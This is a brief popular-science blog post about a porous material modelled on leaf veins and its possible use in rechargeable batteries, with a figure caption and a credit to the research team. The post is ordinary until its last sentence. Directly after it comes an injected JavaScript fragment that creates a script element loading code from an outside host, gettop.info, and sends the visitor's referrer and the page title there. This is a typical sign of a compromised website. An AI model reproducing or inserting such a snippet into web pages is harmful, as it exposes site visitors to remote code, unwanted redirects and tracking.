Optimal Battery

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Biological scientists are developing new materials inspired by leaf veins. These materials are making ‘energy transfer’ extremely efficient. The concept is now being translated to improve rechargeable battery performance allowing them to last much longer and charged more rapidly.

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(a) Photographic image of leaf veins. (b) SEM image of leaf veins. (c) Photographic image of spiracles from an insect. Reproduced from ref. 21 (CC-BY-SA, Wikimedia Commons). (d) SEM image of spiracles from an insect. Reproduced from ref. 22 (CC-BY-SA, Wikimedia Commons). Hierarchically porous network models for the (e) veins and (f) spiracles.

A team of international researchers led by Xianfeng Zheng of China’s Wuhan University of Technology and Australia’s University of Queensland carefully investigated how leaf-veins are able to optimize flow of food and water. The investigation led to the development of the new porous material known as Murray’s material.
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Scientists are already imagining the effects of this new material for efficiency at larger scales for instance reactors. If the technology can be transferred the concept will lead to totally new levels of efficiency. Its ground breaking stuff!var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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